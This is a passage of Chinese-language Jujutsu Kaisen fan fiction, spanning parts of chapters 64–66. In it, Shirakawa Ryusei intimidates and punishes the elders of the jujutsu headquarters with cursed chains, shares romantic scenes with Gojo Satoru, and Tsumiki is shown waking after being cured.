黑色的锁链撕裂空间,争先恐后钻出,避开摄像头的范围,把每个高层提木偶一样提到前面,锁链缠住四肢,押长,帮助骨质疏松的老年人摆出站立姿势。 “友善?我没听错吧?”五条悟的声音略带兴奋,“你做了什麽,琉世?” 嗯……,表情不够和善,不行。锁链边缘分散出无数细小的黑线,牵住高层的脸部肌肉,试着调整出慈祥和善的笑脸。 啊,顺眼多了,C位来比个耶吧。 锁链圈住总务的右胳膊往上抬,精细地把他的食指中指掰出来,其余手指压回去。 “我哪有做什麽,不信悟你看。” 手机调整位置的间隙,白川琉世的笑颜马上消失,面无表情地看向站位自然,好像出去郊游拍合照的高层。 庞大的咒力忽然从青年身上涌出,瞬间填满了整个房间,带着凶悍的气息,近乎无穷无尽,让人感觉随手一挤都能从空气中挤出流淌的咒力。 禅院直哉感到身体疼痛,紧接着血液拥堵、骨肉近乎剥离、器官无法正常运转,实在无法在里面待下去,他跌跌撞撞跑出了房间。 无数黑线在黑漆漆的会议室上空,凝聚成一行大字。 [眼神也得合格才行啊] 以总务伊藤茂为首的,平均年龄80岁的高层,从未遇到过这样的阵仗,从未明晃晃遭遇如此直接的、无法抵抗的危险。近乎是瞬间,本能的恐惧让他们无限制地听从面前男人的吩咐。 五条悟:“哈?!” 六眼瞳孔地震。 怎麽回事,那群烂橘子怎麽站在一起,笑得分外和蔼,眼神也开心的不行。伊藤甚至比了个耶,看到手机屏幕里的他,还轻轻点了点头。 空气中咒力的浓度超高,他的锁链不可避免地沾染了咒力,如果六眼在现场,是能看到锁链的,但电子设备不管是锁链和咒力都无法拍摄到,五条悟隔着手机,只能看到总监部高层一片和谐的景象。 “你是不是还会幻术?瞒着我?” “这我哪有,又不是写轮眼。” “那他们今天怎麽人模人样的,你肯定做了什麽。” “可能因为我的沟通能力特别好。”白川琉世把手机转回来,视线落在悟好看的下半张脸上,不愿意移开,“还特意打视频过来,你也看到了,放心吧。” 五条悟轻柔的笑声经过电子加工,在空荡、气氛恐怖的会议室飘荡,只有拿着手机的人体会到了其中的甜蜜。 “那我先挂了,琉世,晚上见。” 白川琉世没问他晚上在哪见,只是会意地一笑。 “晚上见,悟。” 第64章 今天的剧本是被雨淋湿的狗吗? 手机发出视频挂断的嘀嘀声,白川琉世的心情比刚刚走进会议室时还差。 要处理的事太多了,一件连着一件,和悟相处的时间实在太短暂。如果一直不见倒还好,短暂的看到那张脸,又无情地让他面对一群皱巴巴的老年人,白川琉世的不爽又加重了几分。 不管是锁链还是咒力,一瞬间全都消失无踪,高层全都失去支撑,东倒西歪摔在地上。 白川琉世把自己的咒力重新封印到微弱的程度,扫了一眼四周,发现房间里连一把椅子都没有。 “让我站着和你们说话?” 更机灵一点的对外协调部部长田中康弘,手忙脚乱地爬起来,以远超老年人的矫捷向外跑去。 “我这就给您搬一把。” 随着田中的夺门而出,屋子里静的可怕,白川琉世高声道,“直哉,现在进来不会死。” 禅院直哉磨磨蹭蹭地走进来,心里从总监部骂到五条家,甚至连把那条社交动态截图给他看的禅院家人也咒骂了一顿,脸色像刚刚死了一个月被强行叫起来一样难看。 田中很快搬来了椅子,白川琉世坐下,姿态轻松,明明是坐着的,目光也奇怪的没有仰视的感觉。那些老东西心里想什麽他一清二楚,如果不杀人,这种程度的威吓也没有任何意义。 悟,人类就是这麽一种东西,大部分时间都毫无品德、不知悔改、无法教化、只能教训,想要的权力只能靠争抢,不可能靠别人退让,想让对方明白的道理只能靠施与疼痛,讲道理没有用,更别说更为委婉的通过教育改革了。自下而上的改革,当然只能通过暴。力实现。 当然,当然,完全的暴。力也没用,没有比杀人更简单的事情。极端的行为会造成同等美好的事物随之消逝,悟也是明白这个道理,才一直忍让的。 [我们握着这个世界的入场门票,不能把它弄成糟糕的样子。] 需要一些更精细的手段—— 通过极端的强大撬开一个缺口,加入对方的牌桌,然后,碾压对方的规则,让所有人不得不抛弃手牌,加入由他发起的新游戏。 没有人肯下牌桌,那是比起实力的强大更为诱人的东西,生存的根本——权力。 今天的事只是个开始。 高层们战战兢兢地站着,面对生命危险,没人敢当出头鸟。诅咒师?和五条悟勾结?禅院家在里面又扮演了什麽角色?袭击总监部也不算太过耸人听闻的事,但这个人的实力—— 最终还是其中一个老家夥开口,声音抖得能筛糠,“你究竟是……?” 白川琉世没有回答,现代社会,就不搞跪拜那一套了,但他在平安京被众人的恭敬惯坏了,作为上位者,因为被直接问话,感到非常不爽。 作为黄泉津的一年多,白川琉世养成了对权力极端敏感的嗅觉。 “这位是白川先生,白川琉世。”禅院直哉对这种气氛也同样敏感,察觉到那人的不悦,开口代为回答。 在场没有一个人不是醉心玩弄权术的,高层也感觉到气氛不对,心惊肉跳,不再开口询问,在微妙的交锋中,自然而然产生了恭敬的态度。 “诸位竟然一句大逆不道的话都没说,真是相当客气啊。之前听说,我家悟经常与诸位吵架,想必是他顽劣,给诸位带来麻烦了。” 十几个高层,重重叠加的心虚和恐惧,近乎冲破天际。 “哪里,五条悟……五条先生的很多想法具有开拓性,是我们太过顽固,以至于偶尔产生了争执。” 剩下的话甚至不用多说。 悟,根本不用和他们吵,你身处上位的时候,不管怎麽说,都有人为你疯狂找补,就如同这个由实力支配的会议室所形成的小小权力场中。 但是,就是因为你性格这麽率真,才比谁都可爱啊。 “认识到自己的错误是好事,下次要改进啊。”白川琉世不轻不重地说了一句,点开手机上的压缩包,“谁是铃木裕之?” 一个看起来和其他人没什麽区别的老东西明显颤抖了一下。 “很遗憾,今天要对你施加惩罚,好好回想自己的错误,下次如果你还活着,我会提问的。” 金色瞳孔的恶鬼露出微笑。 空中撕裂出一道黑色裂缝,流淌的黑色遮住了恶鬼的面孔,直至遮住所有视线,这是铃木裕之最后的记忆。 白川琉世垂下了眼,继续看手机,铃木裕之遭受惩罚的原因就在五条悟发给他的数据中。 只是个人数据,没什麽特别的,但是有一点—— 悟对他用了最多的形容词辱骂,足足有7个。 [最恶心、小心眼、蛮横、眼高于顶、欺软怕硬、背后使阴招、烂到流脓] 惹悟这麽生气,没少欺负悟吧? 你也滚去打宿傩。 至于打多久……,这种烂橘子脆弱的很,如果一下子崩溃,直接死掉,保存不了理智消化面对宿傩的恐惧,那也挺可惜。 不能这麽便宜他,既然被骂了7个词,那先打7个小时宿傩吧。 …… “直哉,不用送了,你先回去吧。” 走出大厅,夜完全降临,雨也下大了,两人站在台阶上,看着夹着伞,冒雨跑过来的司机。 禅院直哉很想直接就走,又怕答应的太干脆,惹对方生气。 “你在装模作样什麽。”白川琉世毫不留情地戳穿他,“爱走不走,反正我先走了。” 禅院直哉还没反应过来,就见面前的人直接凭空消失,已经跑过来的司机惊得把伞掉在了地上,砸起积水,溅到了禅院直哉下摆上。 这下完了,禅院直哉积攒了半天的怒火,全都发泄在了丢人现眼、一点小事也做不好的司机上,不顾在外的风度,站在总监部门口大骂了司机一顿。 直到坐上车,自己也骂累了,才停下嘴,不停地划着手机,想着一会回家怎麽给父亲交代今天的事。 叮—— 消息弹出,禅院直哉看到那个系统自带的头像,瞳孔微颤。 不是都走了吗?还想做什麽? 他犹豫着点开。 [白川:直哉,你一个月生活费多少?] 啊? 禅院直哉脸上浮现真实的茫然,问这个做什麽…… 哦,懂了。 原来如此。 他的怒气一扫而光,甚至愉悦地哼了一声。 [禅院直哉:不一定,最低三千万吧。] [禅院直哉:悟君给杂七杂八的人花的钱不少,生活费肯定比我花得多。] 对面马上回复了。 [白川:谁问你这个了?] …… 白川琉世嘁了一声,把手机揣回兜里。 刚刚找了个没监控的地方,空投到了银座附近,询问路人后,来到了有化妆品卖的百货商店。 白川琉世唯一不太习惯的就是这种场合,香腻腻的空气,大同小异但好像区别很大的瓶瓶罐罐,以及精致的像假人的导购小姐。 那款唇膏摆在玻璃柜里,额外占了很大一片空间,底下标的价格也对得起它的占地面积,竟然高达59998日元。 喜欢用的唇膏一支6万日元,每个月最低3000万日元生活费,那一年就要花几个亿,怪不得花10亿收养伏黑都觉得无所谓。 哈哈,白川琉世在心底尬笑几声,知道悟很贵,没想到这麽贵。 要靠自己养起来还真是不容易啊。 在想什麽啊白川琉世,他是五条家家主,还轮不到你养。 话虽然这麽说,但男友挥霍的不是自己的钱,总让人觉得不过瘾。 钱的话,要赚也不难,这几天太忙了,一会还要把其他流落在外的宿傩手指回收,事情一件叠着一件,只能先把优先级高的做了。 …… 雨小了一些。 偶尔会有这样的情况,雨下得不大的时候,就算有伞也懒得打,不如让雨丝落在身上,那种程度的零星细雨,走过长长的路也只能把衣服淋个半湿。 白川琉世带着一身湿寒,打开高专宿舍的门,映入眼帘的就是一双交叠着翘起的长腿。 椅子方位朝向门口,五条悟坐在上面,双手环胸,上身后仰,下巴微抬,露出的下半张脸带着似有若无的笑意。 看不出是喜是怒。 这种架势……,白川琉世马上把自己全部的行为反省了一遍。 是上午弄了太多咒力残秽在屋子里,惹悟不高兴了? 不会,他的咒力残秽,悟应该是喜欢的。 该不会是因为睡了他的床吧。啊?这明明就是他白川琉世的房间啊? 难道是因为回来的太晚? 可是才刚刚十点啊,悟这个点绝对不会睡觉。 搞不明白。 白川琉世用手顺了顺自己半湿的头发,另一只手伸进口袋里,不知道要不要在这个时候把买的礼物掏出来。 “今天的剧本是被雨淋湿的狗吗?” 嗓音依旧略带沙哑,悟这种少见的,高高在上的审视态度,略带问责的语气,忽然凸显出符合年龄的成熟来。 啊?也不是,被雨淋湿并不是什麽精心设计的形象,他只是随便淋了点雨过来,没想那麽多。 白川琉世反手关上门,走近。 “怎麽了悟?不开心吗?”还是直接问好了。 “嗯……你猜呢?”轻飘飘的语气。 不要啊,这种阅读理解他从来都不会做。白川琉世被钉在原地,陷入了真实的迷茫。 “先去洗澡吧。” “没关系,一会就干了。” “不要,那样脏。” 白川琉世惊恐地瞪大眼睛,啊?这才几天啊?不,都不能按天算,这才几小时,就已经享受被妻子嫌弃的中年大叔那样的待遇了吗? 五条悟起身,拉开衣柜,拿出一个纸盒。 “新毛巾、浴巾,还有新睡衣,尺码应该合适,一会洗完澡换上吧。” “是特意给我买的吗?”那点不安马上消散,白川琉世接过纸盒,嘴角怎麽都压不下去,“我知道了,马上去洗。” 什麽嘛,原来是因为带着雨水进来才不高兴。 下次注意吧。 一楼的浴室设备很老旧,经常要放很久冷水,热水才能出来。然而现在的他没心思等热水慢慢出来,马上洗了个冷水澡,打开纸盒拿出毛巾,擦干净身体,拿出睡衣准备穿的时候,意外在里面发现了塑封袋装着的新内衣。 怎麽连这个也一起买了啊! 难以想象悟给他挑这东西的样子,原来那句尺码合适……不行了,要过载了。 白川琉世赶紧掐了把人中。 长发真的很不方便,洗完澡一直往下滴水,以前是为了入乡随俗才留的长发,或许该找个时间剪掉了。他摸索到更衣室,那儿应该有放吹风机的地方,果然,更衣室墙面的镜子还在,旁边的插座旁,放着四五个吹风机。 随便拿了个基本款式的,插上电,他耐心地吹起了头发。镜子照出他的半身,黑色的翻领睡衣,是扣扣子的款式,穿上显得人更加沉肃,看起来年龄也大了两岁。 这是悟的喜好吗?还以为他会买更活泼的款式。 白川琉世穿着一身黑色睡衣,重新推开自己宿舍的门,屋子里亮着灯光,那是整个男生宿舍楼唯一有光的地方。 “果然是伊地知的风格。” “伊地知?” 五条悟此时没有坐在椅子上,而是站在衣柜前,修长的手指拨弄一排衣架。以白川琉世的角度,看不到衣柜里的具体情形,“你不会告诉我,这是伊地知买的吧?” 五条悟没有否认,白川琉世两眼一黑。 “你说尺码什麽的,你告诉伊地知……” “不是脸皮已经变厚了吗?你在莫名其妙害羞什麽啊?” “睡衣也就算了,男朋友内衣的尺码也能随便告诉自己的辅助监督吗?” “我让他什麽都挑最大号买,如果还不合身,那琉世你只能放弃穿人类的衣服,跑去山上做野人了。” “咳。”白川琉世尴尬地咳嗽一声,小声说了声合身。 “伊地知给你打过电话了吗?”五条悟让开一点位置,“琉世,过来。” “没有,你把我号码给他了?”他走过去,正好看到五条悟拿出一个衣架,上面挂着一件灰色衬衫,裁剪朴素,料子却很好,在灯光下流淌着柔和的光泽。 “给了,但我要他今晚不要打扰你。”五条悟把衬衫连带着衣架丢给白川琉世,“这些是我自己挑的,试试吧。” “这些也是……?”白川琉世拿着衬衫,目光投向衣柜内,那里比起上午看到的,又多了一些衣服,把柜子挤得满满当当。 五条悟轻轻点了点头,从刚才就有些微妙不高兴的脸色,难得来了点兴致,“就在这换,不是说我品味超绝吗?” 琉世一个人不懂这些,家里也没有父亲的角色,免于年轻男友一个人偷偷上网搜[男性职业装怎麽穿搭],作为年上他只好稍微操点心。 哇哦,被豪门大少强制爱了。白川琉世在心里感叹一声,倒是没有刚刚的局促了。 “乙骨给你看了?” “是啊,你那张嘴真会说啊。” “我说的明明是事实。” “这股厚脸皮的劲又出来了……” 白川琉世已经知道五条悟接下来会说什麽了,“不许再拿阴暗、心机形容我了。” “我说的明明是事实。” 两人错开“视线”,笑意在空气中流淌。白川琉世脱下睡衣上衣,准备穿上男友特意买的衬衫。 说来也是,上午分别的时候,悟还穿着高专的制服,晚上再见就换了身衣服。浅蓝的衬衫是上午的时候搭在椅子背上的那件,下摆被黑色皮带扎进西裤里,非常商务的一身,衬得格外肩宽腿长,好像时髦的模特出席正式场合,不得不穿些平时不穿的正装。 如果不是亲眼所见,白川琉世很难把十八岁的五条悟代入这麽一身。 “你换衣服了,悟。” “刚刚和家里开了个视频会议。” 那也难怪,这想必也是悟为他买衣服的原因。 需要战斗的场合不同了嘛。 睡衣脱掉,露出线条流畅、肌肉紧实的上身,能察觉到悟停留在上面的“视线”,白川琉世不禁放慢速度,现在的他可是对身材相当自信。 恋人向前靠近一步,一步之差,本就离得极近的身躯像是要粘贴来,一瞬间,清淡的金盏花气味,和雨后微凉的潮湿一起扑了过来。 太近了,穿衣服的动作无法继续进行。 衬衫半挂在身上,悟伸出手指,轻轻点在了他的肩膀上。 “怎麽了?”白川琉世以为恋人在玩闹,微痒的触感让他缩了一下。 “为什麽不治好呢?不是会用反转术式了吗?”作乱的指尖顺着横贯肩膀上的一道抓痕,来回抚摸。 恋人的嗓音比刚才更为喑哑,浓稠的、显而易见的情欲流动其中。 白川琉世:“……” [太狡猾了,悟,别这麽引诱我。] 他沉默,同时吞咽一下,伸过手去,至下而上,三指抚过悟的咽喉。 “你不也是吗?明明嗓子也受伤了。” “痒。”五条悟艰难地忍了几声笑,然后,笑声产生的震动从指尖传递给白川琉世。 因为对方而留在身上的小小痕迹,既然都这麽舍不得,那就先保留几天吧。 白川琉世拿开手,五条悟自然地后退一步,坐在了椅子上。白发青年好像被挠到了痒痒肉,笑了一会才停下,半哑的嗓子咳嗽了两声,“琉世,有我这样的男朋友,你会不会觉得难以把控?” “啊?谁?你?我难以把控?”白川琉世正扣扣子,头也不抬地说,“到底是谁难以把控谁啊?” 事实证明不要在这种话题上和恋人争执。 接下来换了几套衣服,悟一直在和他吵到底谁难以把控谁,他早就投降了,但是恋人的嘴毫不饶人。 此时此刻,白川琉世倒是真的感到难以把控五条悟了。 “请接受我诚挚的道歉,哇啊啊啊你真的要杀了我啊!” 五条悟拿着一条领带,那是他自己的,往男友脖子上一套,然后用力一拉。 “乱七八糟的小心机这麽多,说话也没有以前 好听!” “这就是你说的惩罚?我认错了,悟,快放开!” 领带随着五条悟的松手,被白川琉世挣开。那双指尖漂亮的手却没有离开,顺势给领带打了个结。 白川琉世低头一看,不是死结,是正常的领带结。 放心了。 “这套明天办事穿吧。”五条悟下了结论。 “会不会太张扬?我是没什麽相关的审美啦。” “当然不会,由品味超绝的五条大人认证,这个超适合你。” 酒红色衬衫,黑色西裤,领带和腰带悟说没来得及买,先用他的。 “那我就不客气了,反正你也没少使用我的房间。” “说什麽大言不惭的话,这间宿舍的住宿费可是我在交。” [那门口怎麽挂着白川的牌子。] 白川琉世欲言又止,都不好意思戳穿他,刚消停下来,万一又惹悟生气,今天就惨了。 第65章 生气的原因 温柔的惩罚 由男友亲自决定明天的装扮,这种情形一想起来就让人心口发烫,白川琉世心情愉悦地换回了睡衣,又被扔了一个盒子在怀里。 从包装上就能看出来,是新手机。 “……今天还有什麽,一口气全扔给我吧。” “你想的倒挺好,哇,竟然一点都没有不好意思。” “哪有,我那是太感动了,一会你再来点什麽,我会马上过载的。” “啧啧,不得了,现在变得更加油嘴滑舌了。”五条悟锐评。 没什麽好反驳的,都贴心地买了手机和衣服给他,嘴上说的那些只是开玩笑,其实悟心里超爱的。 “那岂不是显得我的东西拿不出手。”不过自尊心没有强到那种程度,白川琉世还是跑去掏了掏自己外套的口袋,拿出一支唇膏来。 “你真买了啊,这次没有买一书包吗?” “我也想,但是这个超贵,只买得起一支。” “不用着急买吧?我的还没用完,有这钱还是把你的诅咒师赏金交了吧。” [坏猫。] 奚落人时洋洋得意的样子,好像一边观察人类表情,一边伸出爪子把桌上的东西往下推的猫咪。 十足的恶趣味和可爱的坏心眼。 “是别的味道,悟喜欢吗?” 五条悟疑惑地低下头,刚刚没注意唇膏的外包装,现在一看,虽然是同一个系列,但上面的图案不同。 这支是橙花味的。 “琉世怎麽知道,”五条悟没有客套,“我正好想买来试试呢。” “因为你经常吃柠檬和橙子味的糖,次数是最多的。” 五条悟把唇膏放在鼻尖嗅了嗅,在这些细节上这麽上心,确实会让人开心。 “真是难得,那我就收下了。” “我也喜欢这个气味,下次我们试试这个吧。” 白川琉世意味不明的话,毫不意外地被五条悟get到了。 还用得着下次吗? 桌上放着五条悟平时用的东西,满满当当,属于白川琉世本人的东西早被挤到一边去了。桌子边缘放着一盒抽纸、一盒湿巾,五条悟抽出一张湿巾,擦拭自己的嘴唇。 冬天天气太干燥了,这具身体从小被精心养护,每逢秋冬嘴唇都会干裂,他只好每天涂几次唇膏。现在,金盏花气味的唇膏被拭去,淡绯色的唇随着指尖用力划过,先是泛白,又涌上更深的血色。 是一抹在白川琉世眼前流淌而过的姝色。 有点渴。 能感觉到琉世的目光一直停留在自己嘴唇上,五条悟心情愉悦之余,忽然有种熟悉的感觉。记忆有些模糊,但身体记起了当时的那道视线。 一起出任务那次,准备喝水时,琉世也是这麽认真地、渴望地看着他的嘴唇。 当时他还以为是后辈想要恶作剧。 什麽,原来那时候的非分之想就到了这种程度。 清爽微甜的橙花香气重新覆上,五条悟毫不客气地拽着男友的领带,把人拉近,然后伸手按住胸口,一推。 两人交叠着摔到了床上,腰和腿紧贴在一起,五条悟单肘撑着床铺,在不知所措的年轻男友唇上落下一吻。 “不是想试试吗?” 温热的气息喷洒在白川琉世侧颈,悟的声音喑哑,响在耳边又麻又痒,只好绷紧身体抵御这股痒意。 “……想。” “试过了,满意吗?” 年长者却没有离开,在男友侧面不足二指的距离说话,呼吸间,橙花的香气不停地浸染两人间的空气。 “……嗯,好闻……”白川琉世几近呓语,答过就忘了悟刚刚在说什麽,太近了,视线无法完全捕捉恋人的身影,只有暧昧又危险的氛围把他重重缠绕。 不,今天不行…… “今天去做什麽了?” 香味散去,同时颈部一紧,那条原本属于悟的领带被它的主人缠绕两下,用力一扯。 白川琉世瞬间清醒,那只白皙的手,修长、有力,正抓着他脖子上的领带往上提,而他本人正毫无还手之力地颈部悬空,吊在那条脆弱的领带上。 “去总监部,悟不是知道吗?回来的路上,回收了其他宿傩的手指。”他老老实实交代着,目光在那只手和悟晦涩不明的脸上巡视。 火气还没过去吗? 白发恋人的嘴角冷冷地绷着,似乎随时能绽开一抹冷笑。这种因为恼火而散发的认真、高傲,有些不可一世的气质,真是太…… 血液无法控制地向下涌。 两人腰部以下是紧贴着的,悟显然感觉到了,白川琉世仰视对方,祈祷自己不要死的太惨。 五条悟却没有动,仿佛那只是不用理会的小事,漫不经心地哑着嗓子问,“去总监部具体做了什麽?我不问你就不说了?” 那种惊人的掌控感,让白川琉世再一次明晃晃意识到,悟已经是28岁的成年人,而不是18岁的少年。 眼神错开,尽量淡然地开口,“……找工作。” 这怎麽能算假话呢?很快他就能成功入职总监部了。 提着领带的手一松,白川琉世头磕到柔软的枕头上,还没来得及喘口气,啪地一声—— 不是轻柔的抚摸,也不是给予疼痛的打,而是不轻不重,介之中间的一拍。 五条悟的手拍在了白川琉世脸上,一下子把他混沌的大脑拍清醒了。疑惑让他反应极快地伸手,把悟贴在自己脸上的手,牢牢按在原地。 “所以还是在生气,到底怎麽了?” “你真的很奇怪,不痛不痒的小浪漫设计那麽多,说出来绝对能让人感动的事却瞒得死死的。” 为他出气这件事很难说出口吗,铃木那老家夥已经紧急送医,刚刚家里都告诉他了。 “不痛不痒?” “关注点错了吧?”倒也不算不痛不痒,但事情有轻重,这点简单的道理,琉世不会不明白。 “我全都坦白,连去总监部的时候穿的袜子花色都告诉你,是因为不告诉你这个生气的?”白川琉世哪里见过这种架势,也不是一定要瞒着悟,只是……,“没什麽好说的吧,如果你想做,这种事也随时可以做。” 小事上邀功讨欢心他很喜欢做,大事上岂不是太刻意了,不想在情感上绑架悟。 “期待太低了,琉世。”那只手还紧紧按在年轻恋人的脸上,用力一揪,“我会监督你改正的。” “不要把我和你的问题混为一谈。”白川琉世松开按着悟的手,任由那只手揉捏自己的脸,抚过眼下的纹路。 “明明就是有,把一切麻烦都偷偷解决掉,觉得自己很酷吧?就是长时间没有收到别人的正反馈,才会养成这种自我感动的陋习。” 白川琉世欲言又止,但好像无法反驳,“……明明看别人很清楚,怎麽到了自己身上就不在意了。” “你不也是一样。”最强赏给他一声戏谑的轻哼。 无可奈何地浮现出笑意,这种事白川琉世从来没思考过,处在如此特殊的位置,如果太过注重他人的回报,那不是什麽也做不成吗。 但是被悟看到了。 其他人根本无所谓,与理解无关的“回报”,丝毫触及不到他,但是…… 他可以期待悟的回应。 人在太走心的时候是没办法走肾的,格外激动的地方已经被他超强的意志力控制了下来。悟的面容又贴近了,是要奖励他一个吻吗?这种情形很难收场啊…… “悟,等等……” [今天不行,好几天没休息好,你一定很累了。] “啰里吧嗦的,今天我一定要惩罚你,这次还有上次的,不管哪次都一起算上,求饶也没用哦。”五条悟的声音贴着他的鼓膜响起,恋人靠得极近,在他身旁耳语, “罚你今晚一个人睡。” “啊?”白川琉世抗拒的手一下子收力了。 “很失望?但是今天不行,你从1号开始就一直没睡吧。” “好像确实,我忘记了。”白川琉世平静地眨眨眼,啊,原来是被关心了。他的作息比悟还要极限,这个时候要装无辜,否则会被骂。 那也无所谓,因为这种事被骂才觉得幸福啊。 五条悟:“你在露出什麽肮脏的笑容。” 白川琉世:“诶?已经快速进入被嫌弃的相看两厌时期吗?” 五条悟:“相看两厌的话明天再说,快起来,去睡觉。” 白川琉世:“睡觉的话应该躺下才对,悟干嘛让我起来。” 五条悟:“你的床太小,睡不开两个人,都说了今晚罚你一个人睡。” 白川琉世:“好恶毒,罚我一个人到走廊去睡吗?” 五条悟从床上起身,拎着领带把人提起,“你去我房间睡。” “……”白川琉世挠了挠下巴,捂住半边脸,和因为窃喜扬起的嘴角。 “呵,某些人小心思好多哦。”五条大人瞥了眼纯真不再的年轻男友,连带着满屋子泼漆似的咒力残秽。 全是白川琉世的。 小小的宿舍像被咒力的洪水淹没过一般,桌椅门窗、地板衣柜,甚至天花板上都沾满了,在六眼的视线中,乌压压一片,都要看不出屋子本来的陈设了。 残秽最重的地方是床铺。 五条悟嘴角抽动,难以想象白川琉世是怎麽把这麽多残秽搞上去的,床单、枕巾和被罩都是白色的,在六眼眼里差点全染成黑色,只有边缘透出点本来的颜色。 不知道的还以为是哪个阴湿男鬼想打标记结果用力过猛呢。 “你不是很喜欢我的痕迹吗?不然也不会住进来。”这话白川琉世说的相当理直气壮,他还一直没质问悟为什麽住进他的房间呢。 “没错,很喜欢。”五条悟夹着嗓子,刻意学白川琉世的语气,“很好奇味道,让、我、闻、闻、吧。” “太坏了悟,别奚落我了。”话说到这种份上只能微妙地讨饶,让对方占据上风,白川琉世同样不是丝毫不懂恋爱心计的傻子。 反正今天已经得到超绝奖励了,可以在对方房间里睡觉,躺在对方的床上,被恋人的咒力、气味包围……嘶,这是什麽浪漫到极点的暧昧行为,就算不一起睡,也幸福的要崩溃了。 白川琉世扫了眼桌上摊开的本子,“有其他要处理的东西吗?处理完就能睡了吧,今晚不会有不长眼的烂橘子找你开会了。” 何止是今晚,以后再想找五条悟商量事情,无论是谁都得掂量一下时间、地点和自己的态度。 “那是教学计划。”五条悟看到白川琉世在意地看着他的本子,解释道,“想在开学前大致制定好,很好奇?你看也没关系。” 白川琉世还真认真看了一会。 本子上的字迹活泼、散漫,但从内容上看得出来,悟对每个人都很用心。上面罗列了所有人的战斗特点,实力提升空间,训练计划,还有性格、喜好等。偶尔会有一些涂鸦和教师评价的话,比如乙骨后面就有,“难以对环境放心的类型,定期请吃饭吧。” 倾注了学生本人都难以察觉的关心。 他想说些什麽,但最终还是沉默。他和悟都已经提前知道了,有些学生就算倾注心血,根据他们各自的性格、志向,教师、学生身份带来的信息差,表达感情的习惯,面对大战的压力,或许还有青春期的叛逆,是不能回报同等的真心的。 如果是自己的学生,白川琉世也不会受那些垃圾记忆的影响,谁能凭借没发生过的事,区别对待自己的学生呢?那种垃圾记忆算什麽东西,他没这麽小心眼。他能这麽想,悟当然也是这麽想的。 什麽都回应期待,那就什麽都不用做了。 发生在自己身上无所谓,但发生在悟身上,白川琉世想起来心就刺刺的痛。说愤怒程度太重,那是一种拿也不是放也不是的揪心和无奈。 学生的行为算是恶行吗? 只是没有满足白川琉世本人的期待。 “什麽表情啊,你对我的教学计划有意见吗?”一只手柄本子抢过去,五条悟顺势坐在床边,倚靠在床头,自己翻看起了本子。 “就你那几个仨瓜俩枣的学生,还用得着花这麽长时间做计划?你是天生不爱睡觉吗?” “嗯?我可是有师德的教师。因为让你一个人睡觉闹脾气了?好黏人啊琉世。” 那个本子却被忽然强势起来的白川琉世抽走。 “没收了,这种事不值得熬夜。至于你学生的教育问题,过几天有空了我会和你谈的,到时候这个再还你。” 琉世很少这麽强势,五条悟兴奋地感叹一声,“哇哦,这次也要为我出头吗?” “别一副看热闹的表情,难道我会找你学生的麻烦吗?”白川琉世知道悟怎麽想的,对方根本毫不在乎,反而还兴致勃勃地煽风点火,他可怜了一把真心实意心疼悟的自己,“又不是总监部的那群老东西,都是本心不坏的孩子,你以后慢慢教好了。” “一口一个孩子,真了不起,琉世,你今年几岁啊?” 白川琉世噎住,毫不客气地回应,“你也没必要对男友刻薄到这种程度,五条大人。” 他拿起搭在椅子背上的衣服,夹着五条悟的教学计划,走到门口,满意地感受着屋子里充沛的咒力残秽,“现在我要熄灯了,猜猜我会不会半夜上来查寝,偷偷熬夜的话,我这里也是有惩罚的哦。” “哈?白川琉世,你……” “我胆大包天,我肆意妄为。”叫他全名了,搞不好真有点生气了。白川琉世咔嚓关上灯,动作极快地关上门,挡住五条悟不满的抱怨。 …… [睡个好觉吧,悟。] 第66章 软饭喂到嘴边都不吃 “哎呀,惠,再次见面的场合是哭鼻子吗?” 急促的呼吸还未平息,伏黑惠刚刚跑过医院长长的走廊,猛地推开门,那个坐在病床上的身影,看到他微微一愣,随即笑意盈盈地开口。 “津美纪。” 伏黑津美纪额头光洁,诅咒的纹路完全消失了,五条悟穿着休闲款的衬衫西裤,在窗边站着,见状愉快地拿出手机狂拍。 惠流眼泪的样子,发过去给琉世看吧。 也不是真的哭了出来,伏黑惠努力克制表情,虽然一直盼望津美纪醒来,但人真醒了,他反而不知道要说什麽了。 “感动吧,惠。”五条悟脚步雀跃地踱过去,一拍伏黑惠的背,“再做个身体检查,津美纪就能出院了。” “这是怎麽回事呢?” 随着伏黑惠问题的脱口而出,五条悟的手机也响了,是白川琉世发来的消息。 五条悟下意识点开。 [琉世:别忘了告诉伏黑,是你拜托我治好的他姐姐,然后让他感谢你。] 五条悟:…… 琉世越来越能发癫了。 “是琉世治好了津美纪,下次见面要好好感谢他,不然很难说他的小心眼什麽时候会发作。” “谁?”伏黑听到陌生的名字愣了下。 “是白川先生。”津美纪微笑着,“五条先生的恋人,刚刚从这里离开呢。” “诶?是……”伏黑惠回忆起和虎杖一起遇到的怪人,“说自己要给五条老师表白,然后让我和虎杖保密的那个人。” 那个人动作确实很快,2号下午说完这话,4号早上他就刷到了五条老师发的动态。真的假的,还真官宣了啊。 这种事他本来就没太大兴趣,也没问五条老师。 “表白的事他怎麽到处乱说,好不知羞耻啊。” 伏黑惠:“……” 五条老师的表情好像也没有一点羞耻的意思。 不过这不重要。 “我会找机会当面感谢他的。”伏黑郑重地对五条悟说,“一开始就是他救了我和虎杖,现在又救了津美纪,真的很感谢那位白川先生。” “要感谢也是我最应该感谢才对,没想到一口气昏睡了半年。”津美纪对伏黑惠使了个眼色,“过几天,我们邀请五条先生和白川先生来家里吃饭吧。” “嗯。”海胆头少年露出少见的,开朗的笑容,那是和少年经常见面的五条悟都很少看到的表情,明朗、灿烂,在伏黑总是沉静的脸上,有种陌生的感觉。 “五条老师。”他笑着对五条悟说,“这段时间,也谢谢你照顾津美纪了。” …… 羂索打算投入的受肉型泳者,共151人,这是总监部战术指挥部情报调查科全部人员拼命加班一天一夜交上来的调查结果。 作为新上司,一上来就让大家加班,还挺不好意思的。 新任战术指挥部副部长白川琉世,在离开津美纪的病房后,根据一长串的地址,挨个去消除被古代术师受肉诅咒缠上的人。 他的行为明目张胆,羂索依旧什麽也不敢做,安静地就像死了一样。连这一步棋都毁的差不多了,羂索那绕的人脑壳疼的阴谋九成要急转弯,重新谋划了。 一百多个人不多不少,白川琉世赶路极快,两天之内全部搞定。期间旷了两天班,总监部的人也和死了一样,不闻不问,看起来给了他很大的自主权。 他这个职位算得上是高层守门员,铃木裕之打了7小时宿傩后精神崩溃,喜提精神病院豪华vip,原本的职位就空了出来。入职总监部,还能空降高层,并不单是威胁一顿人就能办成的事,期间他和禅院家主密谈过,禅院家又联系了加茂家,御三家另外两家通了气,两家合夥给他操作到了这个职位。 